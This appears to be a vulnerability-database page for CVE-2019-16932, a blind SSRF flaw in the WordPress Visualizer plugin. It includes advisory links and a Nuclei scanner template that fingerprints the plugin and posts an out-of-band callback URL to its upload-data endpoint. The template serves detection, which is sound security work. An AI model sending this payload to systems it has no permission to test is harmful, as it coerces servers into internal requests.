| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2019-16932 | 20 Feb 202500:00 | – | circl | |
| WordPress Visualizer Server-Side Request Forgery Vulnerability | 8 Nov 201900:00 | – | cnvd | |
| CVE-2019-16932 | 30 Sep 201915:08 | – | cve | |
| CVE-2019-16932 | 30 Sep 201915:08 | – | cvelist | |
| CVE-2019-16932 | 30 Sep 201916:15 | – | nvd | |
| WordPress Visualizer Plugin < 3.3.1 Multiple Vulnerabilities | 2 Oct 201900:00 | – | openvas | |
| CVE-2019-16932 | 30 Sep 201916:15 | – | osv | |
| WordPress Visualizer plugin <= 3.3.0 - Server-Side Request Forgery (SSRF) | 28 Sep 201900:00 | – | patchstack | |
| Server side request forgery (ssrf) | 30 Sep 201916:15 | – | prion | |
| CVE-2019-16932 | 7 Jan 202609:31 | – | redhatcve |
id: CVE-2019-16932
info:
name: Visualizer <3.3.1 - Blind Server-Side Request Forgery
author: akincibor
severity: critical
description: |
Visualizer prior to 3.3.1 suffers from a blind server-side request forgery vulnerability via the /wp-json/visualizer/v1/upload-data endpoint.
impact: |
An attacker can exploit this vulnerability to send crafted requests to internal resources, potentially leading to unauthorized access or data leakage.
remediation: |
Update Visualizer plugin to version 3.3.1 or later to fix the SSRF vulnerability.
reference:
- https://wpscan.com/vulnerability/9892
- https://nathandavison.com/blog/wordpress-visualizer-plugin-xss-and-ssrf
- https://nvd.nist.gov/vuln/detail/CVE-2019-16932
- https://wordpress.org/plugins/visualizer/#developers
- https://wpvulndb.com/vulnerabilities/9892
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
cvss-score: 10
cve-id: CVE-2019-16932
cwe-id: CWE-918
epss-score: 0.39137
epss-percentile: 0.98415
cpe: cpe:2.3:a:themeisle:visualizer:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: themeisle
product: visualizer
framework: wordpress
tags: cve,cve2019,wp-plugin,ssrf,wordpress,oast,unauth,wpscan,intrusive,themeisle,xss,vkev,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/visualizer/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- 'Visualizer'
- 'Tested up to:'
condition: and
- method: POST
path:
- "{{BaseURL}}/wp-json/visualizer/v1/upload-data"
body: '{\"url\":\"http://{{interactsh-url}}\"}'
headers:
Content-Type: application/x-www-form-urlencoded
matchers-condition: and
matchers:
- type: word
name: http
part: interactsh_protocol
words:
- http
- type: word
part: header
words:
- application/json
- type: status
status:
- 200
# digest: 490a00463044022051b71b1912e42b39f0752c8bd0b8d03171e00e625d07942d5cda73137660a70702201dbbc6aca796d5854af85e046bbce73f83b90d5bb04ccb49cafb229161211912:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation